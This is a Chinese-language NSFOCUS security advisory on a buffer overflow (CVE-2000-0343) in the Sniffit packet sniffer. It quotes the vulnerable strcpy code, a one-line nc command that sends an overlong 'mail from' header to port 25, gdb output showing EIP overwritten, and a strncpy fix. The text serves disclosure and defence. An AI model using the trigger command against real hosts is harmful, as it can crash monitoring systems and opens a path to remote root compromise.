首页 -> 安全研究

安全研究

安全漏洞
Sniffit处理邮件头缓冲区溢出漏洞

发布日期:2000-05-03
更新日期:2000-05-03

受影响系统:
Brecht Claerhout Sniffit 0.3.7beta
Brecht Claerhout Sniffit 0.3.6HIP
描述:
BUGTRAQ  ID: 1158
CVE(CAN) ID: CVE-2000-0343

Sniffit是一个常用的sniffer工具。可运行在多种Unix/Linux平台上。

它存在一个缓冲区溢出漏洞,可能导致攻击者远程获取root权限。

Sniffit在使用"-L mail"参数处理窃听到的邮件头("mail from:"和"rcpto to:")的时候,会将它们拷贝到一个固定大小的buffer中,导致可能发生溢出问题:问题处在下列两个地方:

    if(strstr(workbuf1,"mail from")!=NULL)
      {
      char workbuf2[MTU];


      strcpy(workbuf2, strstr(workbuf1,"mail from"));



    if(strstr(workbuf1,"rcpt to")!=NULL)
      {
      char workbuf2[MTU];


      strcpy(workbuf2, strstr(workbuf1,"rcpt to"));
...
当用户对局域网内任意主机的25端口发送包含超长"mail from:..."或者"rcpt to:..."内容的消息时,将会导致监听主机上的Sniffit发生溢出:

echo "mail from:`perl -e 'print "A"x300'`"|nc -vv HOSTNAME 25


在运行Sniffit的机器上用gdb跟踪得到的结果:

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) i all
     eax: 0x0 0
     ecx: 0x8057648 134575688
     edx: 0x8057648 134575688
     ebx: 0xbfff5b84 -1073783932
     esp: 0xbfff47a4 -1073789020
     ebp: 0x61616161 1633771873
     esi: 0xbfff6f0c -1073778932
     edi: 0xbfff6f0c -1073778932
     eip: 0x61616161 1633771873

...

<*来源:FuSyS (fusys@s0ftpj.org
  *>

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 修改sn_analyse.c,用strncpy代替strcpy,拷贝固定字节的内容到buffer中去。

厂商补丁:

Brecht Claerhout
----------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://reptile.rug.ac.be/~coder/sniffit/sniffit.html

浏览次数:6509
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障